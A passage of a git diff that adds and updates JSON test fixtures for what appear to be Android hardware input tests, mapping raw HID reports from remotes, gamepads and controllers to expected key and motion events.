+      {"action": "UP", "keycode": "KEYCODE_0"}
+    ]
+  },
+  {
+    "name": "Press Subtitles",
+    "reports": [
+      [0x02, 0x61, 0x00, 0x00, 0x00],
+      [0x02, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "KEYBOARD | DPAD",
+    "events": [
+      {"action": "DOWN", "keycode": "CAPTIONS"},
+      {"action": "UP", "keycode": "CAPTIONS"}
+    ]
+  },
+  {
+    "name": "Press Red",
+    "reports": [
+      [0x02, 0x69, 0x00, 0x00, 0x00],
+      [0x02, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "KEYBOARD | DPAD",
+    "events": [
+      {"action": "DOWN", "keycode": "PROG_RED"},
+      {"action": "UP", "keycode": "PROG_RED"}
+    ]
+  },
+  {
+    "name": "Press Green",
+    "reports": [
+      [0x02, 0x6a, 0x00, 0x00, 0x00],
+      [0x02, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "KEYBOARD | DPAD",
+    "events": [
+      {"action": "DOWN", "keycode": "PROG_GREEN"},
+      {"action": "UP", "keycode": "PROG_GREEN"}
+    ]
+  },
+  {
+    "name": "Press Yellow",
+    "reports": [
+      [0x02, 0x6c, 0x00, 0x00, 0x00],
+      [0x02, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "KEYBOARD | DPAD",
+    "events": [
+      {"action": "DOWN", "keycode": "PROG_YELLOW"},
+      {"action": "UP", "keycode": "PROG_YELLOW"}
+    ]
+  },
+  {
+    "name": "Press Blue",
+    "reports": [
+      [0x02, 0x6b, 0x00, 0x00, 0x00],
+      [0x02, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "KEYBOARD | DPAD",
+    "events": [
+      {"action": "DOWN", "keycode": "PROG_BLUE"},
+      {"action": "UP", "keycode": "PROG_BLUE"}
+    ]
+  },
+  {
+    "name": "Press Bookmark",
+    "reports": [
+      [0x02, 0x2a, 0x02, 0x00, 0x00],
+      [0x02, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "KEYBOARD | DPAD",
+    "events": [
+      {"action": "DOWN", "keycode": "BOOKMARK"},
+      {"action": "UP", "keycode": "BOOKMARK"}
+    ]
+  },
+  {
+    "name": "Press Info",
+    "reports": [
+      [0x02, 0xbd, 0x01, 0x00, 0x00],
+      [0x02, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "KEYBOARD | DPAD",
+    "events": [
+      {"action": "DOWN", "keycode": "INFO"},
+      {"action": "UP", "keycode": "INFO"}
+    ]
+  },
+  {
+    "name": "Press Input",
+    "reports": [
+      [0x02, 0xbb, 0x01, 0x00, 0x00],
+      [0x02, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "KEYBOARD | DPAD",
+    "events": [
+      {"action": "DOWN", "keycode": "TV_INPUT"},
+      {"action": "UP", "keycode": "TV_INPUT"}
+    ]
+  },
+  {
+    "name": "Press D-pad up",
+    "reports": [
+      [0x02, 0x42, 0x00, 0x00, 0x00],
+      [0x02, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "KEYBOARD | DPAD",
+    "events": [
+      {"action": "DOWN", "keycode": "DPAD_UP"},
+      {"action": "UP", "keycode": "DPAD_UP"}
+    ]
+  },
+  {
+    "name": "Press D-pad left",
+    "reports": [
+      [0x02, 0x44, 0x00, 0x00, 0x00],
+      [0x02, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "KEYBOARD | DPAD",
+    "events": [
+      {"action": "DOWN", "keycode": "DPAD_LEFT"},
+      {"action": "UP", "keycode": "DPAD_LEFT"}
+    ]
+  },
+  {
+    "name": "Press D-pad right",
+    "reports": [
+      [0x02, 0x45, 0x00, 0x00, 0x00],
+      [0x02, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "KEYBOARD | DPAD",
+    "events": [
+      {"action": "DOWN", "keycode": "DPAD_RIGHT"},
+      {"action": "UP", "keycode": "DPAD_RIGHT"}
+    ]
+  },
+  {
+    "name": "Press D-pad down",
+    "reports": [
+      [0x02, 0x43, 0x00, 0x00, 0x00],
+      [0x02, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "KEYBOARD | DPAD",
+    "events": [
+      {"action": "DOWN", "keycode": "DPAD_DOWN"},
+      {"action": "UP", "keycode": "DPAD_DOWN"}
+    ]
+  },
+  {
+    "name": "Press D-pad center",
+    "reports": [
+      [0x02, 0x41, 0x00, 0x00, 0x00],
+      [0x02, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "KEYBOARD | DPAD",
+    "events": [
+      {"action": "DOWN", "keycode": "DPAD_CENTER"},
+      {"action": "UP", "keycode": "DPAD_CENTER"}
+    ]
+  },
+  {
+    "name": "Press Back",
+    "reports": [
+      [0x02, 0x24, 0x02],
+      [0x02, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "KEYBOARD | DPAD",
+    "events": [
+      {"action": "DOWN", "keycode": "BACK"},
+      {"action": "UP", "keycode": "BACK"}
+    ]
+  },
+  {
+    "name": "Press Guide",
+    "reports": [
+      [0x02, 0x8d, 0x00, 0x00, 0x00],
+      [0x02, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "KEYBOARD | DPAD",
+    "events": [
+      {"action": "DOWN", "keycode": "GUIDE"},
+      {"action": "UP", "keycode": "GUIDE"}
+    ]
+  },
+  {
+    "name": "Press Program +",
+    "reports": [
+      [0x02, 0x9c, 0x00, 0x00, 0x00],
+      [0x02, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "KEYBOARD | DPAD",
+    "events": [
+      {"action": "DOWN", "keycode": "CHANNEL_UP"},
+      {"action": "UP", "keycode": "CHANNEL_UP"}
+    ]
+  },
+  {
+    "name": "Press Program -",
+    "reports": [
+      [0x02, 0x9d, 0x00, 0x00, 0x00],
+      [0x02, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "KEYBOARD | DPAD",
+    "events": [
+      {"action": "DOWN", "keycode": "CHANNEL_DOWN"},
+      {"action": "UP", "keycode": "CHANNEL_DOWN"}
+    ]
+  }
+]
diff --git a/tests/tests/hardware/res/raw/google_atvreferenceremote_register.json b/tests/tests/hardware/res/raw/google_atvreferenceremote_register.json
new file mode 100755
index 0000000..db03a72
--- /dev/null
+++ b/tests/tests/hardware/res/raw/google_atvreferenceremote_register.json
@@ -0,0 +1,17 @@
+{
+  "id": 1,
+  "command": "register",
+  "name": "Google ATV Reference Remote Control (Test)",
+  "vid": 0x0957,
+  "pid": 0x0001,
+  "bus": "bluetooth",
+  "source": "KEYBOARD",
+  "descriptor": [
+    0x05, 0x01, 0x09, 0x06, 0xa1, 0x01, 0x85, 0x01, 0x05, 0x07, 0x19, 0xe0, 0x29, 0xe7, 0x15, 0x00,
+    0x25, 0x01, 0x75, 0x01, 0x95, 0x08, 0x81, 0x02, 0x95, 0x01, 0x75, 0x08, 0x81, 0x01, 0x95, 0x05,
+    0x75, 0x01, 0x05, 0x08, 0x19, 0x01, 0x29, 0x05, 0x91, 0x02, 0x95, 0x01, 0x75, 0x03, 0x91, 0x01,
+    0x95, 0x06, 0x75, 0x08, 0x15, 0x00, 0x25, 0xf1, 0x05, 0x07, 0x19, 0x00, 0x29, 0xf1, 0x81, 0x00,
+    0xc0, 0x05, 0x0c, 0x09, 0x01, 0xa1, 0x01, 0x85, 0x02, 0x75, 0x10, 0x95, 0x02, 0x15, 0x01, 0x26,
+    0x8c, 0x02, 0x19, 0x01, 0x2a, 0x8c, 0x02, 0x81, 0x00, 0xc0
+  ]
+}
diff --git a/tests/tests/hardware/res/raw/google_gamepad_assistkey.json b/tests/tests/hardware/res/raw/google_gamepad_assistkey.json
new file mode 100644
index 0000000..902e017
--- /dev/null
+++ b/tests/tests/hardware/res/raw/google_gamepad_assistkey.json
@@ -0,0 +1,11 @@
+[
+  {
+    "name": "Press Voice Assist",
+    "reports": [
+        [0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+        [0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "events": [
+    ]
+  }
+]
\ No newline at end of file
diff --git a/tests/tests/hardware/res/raw/google_gamepad_keyevent_media_tests.json b/tests/tests/hardware/res/raw/google_gamepad_keyevent_media_tests.json
new file mode 100644
index 0000000..37b7fb2
--- /dev/null
+++ b/tests/tests/hardware/res/raw/google_gamepad_keyevent_media_tests.json
@@ -0,0 +1,15 @@
+[
+  {
+    "name": "Press BUTTON Play/Pause",
+    "reports": [
+      [0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+      [0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "KEYBOARD | GAMEPAD",
+    "events": [
+      {"action": "DOWN", "keycode": "MEDIA_PLAY_PAUSE"},
+      {"action": "UP", "keycode": "MEDIA_PLAY_PAUSE"}
+    ]
+  }
+
+]
diff --git a/tests/tests/hardware/res/raw/google_gamepad_keyevent_volume_tests.json b/tests/tests/hardware/res/raw/google_gamepad_keyevent_volume_tests.json
new file mode 100644
index 0000000..70f7f24
--- /dev/null
+++ b/tests/tests/hardware/res/raw/google_gamepad_keyevent_volume_tests.json
@@ -0,0 +1,28 @@
+[
+  {
+    "name": "Press BUTTON VOLUME_UP",
+    "reports": [
+        [0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+        [0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "KEYBOARD | GAMEPAD",
+    "events": [
+      {"action": "DOWN", "keycode": "VOLUME_UP"},
+      {"action": "UP", "keycode": "VOLUME_UP"}
+    ]
+  },
+
+  {
+    "name": "Press BUTTON VOLUME_DOWN",
+    "reports": [
+        [0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+        [0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "KEYBOARD | GAMEPAD",
+    "events": [
+      {"action": "DOWN", "keycode": "VOLUME_DOWN"},
+      {"action": "UP", "keycode": "VOLUME_DOWN"}
+    ]
+  }
+
+]
diff --git a/tests/tests/hardware/res/raw/google_gamepad_usb_register.json b/tests/tests/hardware/res/raw/google_gamepad_usb_register.json
new file mode 100644
index 0000000..c6d4a17
--- /dev/null
+++ b/tests/tests/hardware/res/raw/google_gamepad_usb_register.json
@@ -0,0 +1,23 @@
+{
+  "id": 1,
+  "command": "register",
+  "name": "Generic Gamepad with Voice Command buttons",
+  "vid": 0x18d1,
+  "pid": 0xabcd,
+  "bus": "usb",
+  "source": "KEYBOARD | GAMEPAD",
+  "descriptor": [
+    0x05, 0x01, 0x09, 0x05, 0xA1, 0x01, 0x05, 0x0C, 0x81, 0x01, 0x09, 0xCD,
+    0x09, 0xE9, 0x09, 0xEA, 0x09, 0xCF, 0x05, 0x09, 0x09, 0x01, 0x09, 0x02,
+    0x09, 0x04, 0x09, 0x05, 0x09, 0x07, 0x09, 0x08, 0x09, 0x0E, 0x09, 0x0F,
+    0x09, 0x0B, 0x09, 0x0C, 0x09, 0x0D, 0x75, 0x01, 0x95, 0x0F, 0x81, 0x02,
+    0x75, 0x01, 0x95, 0x01, 0x81, 0x01, 0x05, 0x01, 0x75, 0x10, 0x95, 0x02,
+    0x16, 0x00, 0x80, 0x26, 0xFF, 0x7F, 0x36, 0x00, 0x80, 0x46, 0xFF, 0x7F,
+    0x09, 0x01, 0xA1, 0x00, 0x09, 0x30, 0x09, 0x31, 0x95, 0x02, 0x81, 0x02,
+    0xC0, 0x09, 0x01, 0xA1, 0x00, 0x09, 0x33, 0x09, 0x34, 0x95, 0x02, 0x81,
+    0x02, 0xC0, 0x75, 0x08, 0x95, 0x02, 0x15, 0x00, 0x26, 0xFF, 0x00, 0x35,
+    0x00, 0x46, 0xFF, 0x00, 0x09, 0x32, 0x09, 0x35, 0x81, 0x02, 0x06, 0x00,
+    0xFF, 0x75, 0x08, 0x95, 0x08, 0x26, 0xFF, 0x00, 0x09, 0x02, 0x91, 0x02,
+    0x75, 0x08, 0x95, 0x30, 0x26, 0xFF, 0x00, 0x09, 0x03, 0xB1, 0x02, 0xC0
+  ]
+}
diff --git a/tests/tests/hardware/res/raw/microsoft_designer_keyboard_register.json b/tests/tests/hardware/res/raw/microsoft_designer_keyboard_register.json
index 263b14d..26a8c83 100644
--- a/tests/tests/hardware/res/raw/microsoft_designer_keyboard_register.json
+++ b/tests/tests/hardware/res/raw/microsoft_designer_keyboard_register.json
@@ -5,6 +5,7 @@
   "vid": 0x045e,
   "pid": 0x0806,
   "bus": "bluetooth",
+  "source": "KEYBOARD | DPAD | JOYSTICK",
   "descriptor": [
     0x06, 0xbc, 0xff, 0x09, 0x88, 0xa1, 0x01, 0x85, 0x22, 0x06, 0x00, 0xff,
     0x15, 0x00, 0x26, 0xff, 0x00, 0x75, 0x08, 0x95, 0x13, 0x0a, 0x0a, 0xfa,
diff --git a/tests/tests/hardware/res/raw/microsoft_sculpttouch_motioneventtests.json b/tests/tests/hardware/res/raw/microsoft_sculpttouch_motioneventtests.json
index cfb7d4b..b6d9680 100644
--- a/tests/tests/hardware/res/raw/microsoft_sculpttouch_motioneventtests.json
+++ b/tests/tests/hardware/res/raw/microsoft_sculpttouch_motioneventtests.json
@@ -92,31 +92,31 @@
     "events": [
       {
         "action": "MOVE",
-        "axes": {"AXIS_X": 1}
+        "axes": {"AXIS_X": 1, "AXIS_RELATIVE_X": 1}
       },
       {
         "action": "MOVE",
-        "axes": {"AXIS_X": 768}
+        "axes": {"AXIS_X": 768, "AXIS_RELATIVE_X": 768}
       },
       {
         "action": "MOVE",
-        "axes": {"AXIS_X": -768}
+        "axes": {"AXIS_X": -768, "AXIS_RELATIVE_X": -768}
       },
       {
         "action": "MOVE",
-        "axes": {"AXIS_Y": 768}
+        "axes": {"AXIS_Y": 768, "AXIS_RELATIVE_Y": 768}
       },
       {
         "action": "MOVE",
-        "axes": {"AXIS_Y": -768}
+        "axes": {"AXIS_Y": -768, "AXIS_RELATIVE_Y": -768}
       },
       {
         "action": "MOVE",
-        "axes": {"AXIS_X": 768, "AXIS_Y": 768}
+        "axes": {"AXIS_X": 768, "AXIS_Y": 768, "AXIS_RELATIVE_X": 768, "AXIS_RELATIVE_Y": 768}
       },
       {
         "action": "MOVE",
-        "axes": {"AXIS_X": -768, "AXIS_Y": -768}
+        "axes": {"AXIS_X": -768, "AXIS_Y": -768, "AXIS_RELATIVE_X": -768, "AXIS_RELATIVE_Y": -768}
       }
     ]
   }
diff --git a/tests/tests/hardware/res/raw/microsoft_sculpttouch_register.json b/tests/tests/hardware/res/raw/microsoft_sculpttouch_register.json
index 8ee16b4..c050b65 100644
--- a/tests/tests/hardware/res/raw/microsoft_sculpttouch_register.json
+++ b/tests/tests/hardware/res/raw/microsoft_sculpttouch_register.json
@@ -5,6 +5,7 @@
   "vid": 0x045e,
   "pid": 0x077c,
   "bus": "bluetooth",
+  "source": "KEYBOARD | DPAD | JOYSTICK",
   "descriptor": [
     0x05, 0x01, 0x09, 0x02, 0xa1, 0x01, 0x05, 0x01, 0x09, 0x02, 0xa1, 0x02,
     0x85, 0x1a, 0x09, 0x01, 0xa1, 0x00, 0x05, 0x09, 0x19, 0x01, 0x29, 0x05,
diff --git a/tests/tests/hardware/res/raw/microsoft_xbox2020_register.json b/tests/tests/hardware/res/raw/microsoft_xbox2020_register.json
index 36e1a96..01e6147 100755
--- a/tests/tests/hardware/res/raw/microsoft_xbox2020_register.json
+++ b/tests/tests/hardware/res/raw/microsoft_xbox2020_register.json
@@ -5,6 +5,7 @@
   "vid": 0x045e,
   "pid": 0x0b13,
   "bus": "bluetooth",
+  "source": "KEYBOARD | GAMEPAD | JOYSTICK",
   "descriptor": [
     0x05, 0x01, 0x09, 0x05, 0xa1, 0x01, 0x85, 0x01, 0x09, 0x01, 0xa1, 0x00, 0x09, 0x30, 0x09, 0x31,
     0x15, 0x00, 0x27, 0xff, 0xff, 0x00, 0x00, 0x95, 0x02, 0x75, 0x10, 0x81, 0x02, 0xc0, 0x09, 0x01,
diff --git a/tests/tests/hardware/res/raw/microsoft_xboxones_register.json b/tests/tests/hardware/res/raw/microsoft_xboxones_register.json
index d789297..7079901 100755
--- a/tests/tests/hardware/res/raw/microsoft_xboxones_register.json
+++ b/tests/tests/hardware/res/raw/microsoft_xboxones_register.json
@@ -5,6 +5,7 @@
   "vid": 0x045e,

   "pid": 0x02fd,

   "bus": "bluetooth",

+  "source": "KEYBOARD | GAMEPAD | JOYSTICK",

   "descriptor": [

     0x05, 0x01, 0x09, 0x05, 0xa1, 0x01, 0x85, 0x01, 0x09, 0x01, 0xa1, 0x00, 0x09, 0x30,

     0x09, 0x31, 0x15, 0x00, 0x27, 0xff, 0xff, 0x00, 0x00, 0x95, 0x02, 0x75, 0x10, 0x81, 0x02, 0xc0,

diff --git a/tests/tests/hardware/res/raw/nintendo_switchpro_register.json b/tests/tests/hardware/res/raw/nintendo_switchpro_register.json
index d1b1939..3f3142a 100644
--- a/tests/tests/hardware/res/raw/nintendo_switchpro_register.json
+++ b/tests/tests/hardware/res/raw/nintendo_switchpro_register.json
@@ -5,6 +5,7 @@
   "vid": 0x057e,
   "pid": 0x2009,
   "bus": "bluetooth",
+  "source": "KEYBOARD | GAMEPAD | JOYSTICK",
   "descriptor": [0x05, 0x01, 0x09, 0x05, 0xa1, 0x01, 0x06, 0x01, 0xff, 0x85, 0x21, 0x09, 0x21,
     0x75, 0x08, 0x95, 0x30, 0x81, 0x02, 0x85, 0x30, 0x09, 0x30, 0x75, 0x08, 0x95, 0x30, 0x81,
     0x02, 0x85, 0x31, 0x09, 0x31, 0x75, 0x08, 0x96, 0x69, 0x01, 0x81, 0x02, 0x85, 0x32, 0x09,
@@ -50,7 +51,25 @@
     },
     {
       "description": "Ack for 'set player led' (0x30)",
-      "output": [0x1, 0x4, 0x0, 0x1, 0x40, 0x40, 0x0, 0x1, 0x40, 0x40, 0x30, 0xf],
+      "output": [0x1, 0x2, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x30, 0xf],
+      "response": [0x21, 0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08, 0x09, 0xa, 0xb, 0x1,
+        0x30]
+    },
+    {
+      "description": "Ack for 'set player led' (0x30)",
+      "output": [0x1, 0x2, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x30, 0x7],
+      "response": [0x21, 0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08, 0x09, 0xa, 0xb, 0x1,
+        0x30]
+    },
+    {
+      "description": "Ack for 'set player led' (0x30)",
+      "output": [0x1, 0x2, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x30, 0x3],
+      "response": [0x21, 0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08, 0x09, 0xa, 0xb, 0x1,
+        0x30]
+    },
+    {
+      "description": "Ack for 'set player led' (0x30)",
+      "output": [0x1, 0x2, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x30, 0x1],
       "response": [0x21, 0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08, 0x09, 0xa, 0xb, 0x1,
         0x30]
     },
@@ -60,6 +79,18 @@
         0x11],
       "response": [0x21, 0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08, 0x09, 0xa, 0xb,
         0x1, 0x38]
+    },
+    {
+      "description": "USB Handshake",
+      "output": [0x80, 0x2],
+      "response": [0x81, 0x2]
+    },
+    {
+      "description": "Ack for 'request calibration' (0x10)",
+      "output": [0x1, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x10, 0x3d, 0x60, 0, 0, 0x12],
+      "response": [0x21, 0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08, 0x09, 0xa, 0xb,
+        0x0, 0x0, 0x00, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
+        0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0]
     }
   ]
 }
diff --git a/tests/tests/hardware/res/raw/razer_junglecat_keyeventtests.json b/tests/tests/hardware/res/raw/razer_junglecat_keyeventtests.json
new file mode 100644
index 0000000..06af08c
--- /dev/null
+++ b/tests/tests/hardware/res/raw/razer_junglecat_keyeventtests.json
@@ -0,0 +1,158 @@
+[
+  {
+    "name": "Press BUTTON_A",
+    "reports": [
+      [0x01, 0x80, 0x80, 0x80, 0x80, 0x18, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+      [0x01, 0x80, 0x80, 0x80, 0x80, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "KEYBOARD | GAMEPAD",
+    "events": [
+      {"action": "DOWN", "keycode": "BUTTON_A"},
+      {"action": "UP", "keycode": "BUTTON_A"}
+    ]
+  },
+
+  {
+    "name": "Press BUTTON_B",
+    "reports": [
+      [0x01, 0x80, 0x80, 0x80, 0x80, 0x28, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+      [0x01, 0x80, 0x80, 0x80, 0x80, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "KEYBOARD | GAMEPAD",
+    "events": [
+      {"action": "DOWN", "keycode": "BUTTON_B"},
+      {"action": "UP", "keycode": "BUTTON_B"}
+    ]
+  },
+
+  {
+    "name": "Press BUTTON_X",
+    "reports": [
+      [0x01, 0x80, 0x80, 0x80, 0x80, 0x88, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+      [0x01, 0x80, 0x80, 0x80, 0x80, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "KEYBOARD | GAMEPAD",
+    "events": [
+      {"action": "DOWN", "keycode": "BUTTON_X"},
+      {"action": "UP", "keycode": "BUTTON_X"}
+    ]
+  },
+
+  {
+    "name": "Press BUTTON_Y",
+    "reports": [
+      [0x01, 0x80, 0x80, 0x80, 0x80, 0x08, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+      [0x01, 0x80, 0x80, 0x80, 0x80, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "KEYBOARD | GAMEPAD",
+    "events": [
+      {"action": "DOWN", "keycode": "BUTTON_Y"},
+      {"action": "UP", "keycode": "BUTTON_Y"}
+    ]
+  },
+
+  {
+    "name": "Press BUTTON_L1",
+    "reports": [
+      [0x01, 0x80, 0x80, 0x80, 0x80, 0x08, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+      [0x01, 0x80, 0x80, 0x80, 0x80, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "KEYBOARD | GAMEPAD",
+    "events": [
+      {"action": "DOWN", "keycode": "BUTTON_L1"},
+      {"action": "UP", "keycode": "BUTTON_L1"}
+    ]
+  },
+
+  {
+    "name": "Press BUTTON_R1",
+    "reports": [
+      [0x01, 0x80, 0x80, 0x80, 0x80, 0x08, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+      [0x01, 0x80, 0x80, 0x80, 0x80, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "KEYBOARD | GAMEPAD",
+    "events": [
+      {"action": "DOWN", "keycode": "BUTTON_R1"},
+      {"action": "UP", "keycode": "BUTTON_R1"}
+    ]
+  },
+
+  {
+    "name": "Press BUTTON_L2",
+    "reports": [
+      [0x01, 0x80, 0x80, 0x80, 0x80, 0x08, 0x10, 0x00, 0x00, 0xff, 0x00, 0x00, 0x00],
+      [0x01, 0x80, 0x80, 0x80, 0x80, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "KEYBOARD | GAMEPAD",
+    "events": [
+      {"action": "DOWN", "keycode": "BUTTON_L2"},
+      {"action": "UP", "keycode": "BUTTON_L2"}
+    ]
+  },
+
+  {
+    "name": "Press BUTTON_R2",
+    "reports": [
+      [0x01, 0x80, 0x80, 0x80, 0x80, 0x08, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+      [0x01, 0x80, 0x80, 0x80, 0x80, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "KEYBOARD | GAMEPAD",
+    "events": [
+      {"action": "DOWN", "keycode": "BUTTON_R2"},
+      {"action": "UP", "keycode": "BUTTON_R2"}
+    ]
+  },
+
+  {
+    "name": "Press Left Stick Thumb Button",
+    "reports": [
+      [0x01, 0x80, 0x80, 0x80, 0x80, 0x08, 0x00, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00],
+      [0x01, 0x80, 0x80, 0x80, 0x80, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "KEYBOARD | GAMEPAD",
+    "events": [
+      {"action": "DOWN", "keycode": "BUTTON_THUMBL"},
+      {"action": "UP", "keycode": "BUTTON_THUMBL"}
+    ]
+  },
+
+  {
+    "name": "Press Right Stick Thumb Button",
+    "reports": [
+      [0x01, 0x80, 0x80, 0x80, 0x80, 0x08, 0x00, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00],
+      [0x01, 0x80, 0x80, 0x80, 0x80, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "KEYBOARD | GAMEPAD",
+    "events": [
+      {"action": "DOWN", "keycode": "BUTTON_THUMBR"},
+      {"action": "UP", "keycode": "BUTTON_THUMBR"}
+    ]
+  },
+
+  {
+    "name": "Press BUTTON_SELECT",
+    "reports": [
+      [0x01, 0x80, 0x80, 0x80, 0x80, 0x08, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+      [0x01, 0x80, 0x80, 0x80, 0x80, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "KEYBOARD | GAMEPAD",
+    "events": [
+      {"action": "DOWN", "keycode": "BUTTON_SELECT"},
+      {"action": "UP", "keycode": "BUTTON_SELECT"}
+    ]
+  },
+
+  {
+    "name": "Press BUTTON_START",
+    "reports": [
+      [0x01, 0x80, 0x80, 0x80, 0x80, 0x08, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+      [0x01, 0x80, 0x80, 0x80, 0x80, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "KEYBOARD | GAMEPAD",
+    "events": [
+      {"action": "DOWN", "keycode": "BUTTON_START"},
+      {"action": "UP", "keycode": "BUTTON_START"}
+    ]
+  }
+
+]
diff --git a/tests/tests/hardware/res/raw/razer_junglecat_motioneventtests.json b/tests/tests/hardware/res/raw/razer_junglecat_motioneventtests.json
new file mode 100644
index 0000000..11f088d
--- /dev/null
+++ b/tests/tests/hardware/res/raw/razer_junglecat_motioneventtests.json
@@ -0,0 +1,184 @@
+[
+  {
+    "name": "Sanity check - should not produce any events",
+    "reports": [
+      [0x01, 0x80, 0x80, 0x80, 0x80, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "JOYSTICK",
+    "events": [
+    ]
+  },
+
+  {
+    "name": "Press left DPAD key",
+    "reports": [
+      [0x01, 0x80, 0x80, 0x80, 0x80, 0x06, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+      [0x01, 0x80, 0x80, 0x80, 0x80, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "JOYSTICK",
+    "events": [
+      {"action": "MOVE", "axes": {"AXIS_HAT_X": -1}},
+      {"action": "MOVE", "axes": {"AXIS_HAT_X": 0}}
+    ]
+  },
+
+  {
+    "name": "Press right DPAD key",
+    "reports": [
+        [0x01, 0x80, 0x80, 0x80, 0x80, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+        [0x01, 0x80, 0x80, 0x80, 0x80, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "JOYSTICK",
+    "events": [
+      {"action": "MOVE", "axes": {"AXIS_HAT_X": 1}},
+      {"action": "MOVE", "axes": {"AXIS_HAT_X": 0}}
+    ]
+  },
+
+  {
+    "name": "Press up DPAD key",
+    "reports": [
+        [0x01, 0x80, 0x80, 0x80, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+        [0x01, 0x80, 0x80, 0x80, 0x80, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "JOYSTICK",
+    "events": [
+      {"action": "MOVE", "axes": {"AXIS_HAT_Y": -1}},
+      {"action": "MOVE", "axes": {"AXIS_HAT_Y": 0}}
+    ]
+  },
+
+  {
+    "name": "Press down DPAD key",
+    "reports": [
+        [0x01, 0x80, 0x80, 0x80, 0x80, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+        [0x01, 0x80, 0x80, 0x80, 0x80, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "JOYSTICK",
+    "events": [
